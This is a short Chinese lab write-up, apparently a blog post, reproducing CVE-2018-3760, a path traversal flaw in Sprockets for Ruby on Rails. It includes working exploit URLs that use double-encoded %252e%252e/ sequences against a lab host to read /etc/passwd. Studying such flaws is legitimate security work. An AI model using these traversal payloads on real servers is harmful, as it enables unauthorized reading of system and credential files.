Ruby On Rails漏洞复现(CVE-2018-3760) --目录穿越

01 背景介绍

Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

02 影响版本

版本 <=Sprockets 3.7.1

03 利用方法

利用手法 %252e%252e/ 不断返回上级目录 (%252e%252e/ 是…的url编码)

04 靶场

在这里插入图片描述

1.用http://219.153.49.228:40057/assets/file:%2f%2f/etc/passwd尝试读取其存放密码的文件、但是发现etc/passwd不在允许的路径下,报错页面显示出了允许的路径
在这里插入图片描述
2.复制一段路径,然后跳转到根目录之后../../../../../etc/passwd但是需要二次编码,编码之后的url是http://http://219.153.49.228:40057/assets/file:%2f%2f//usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值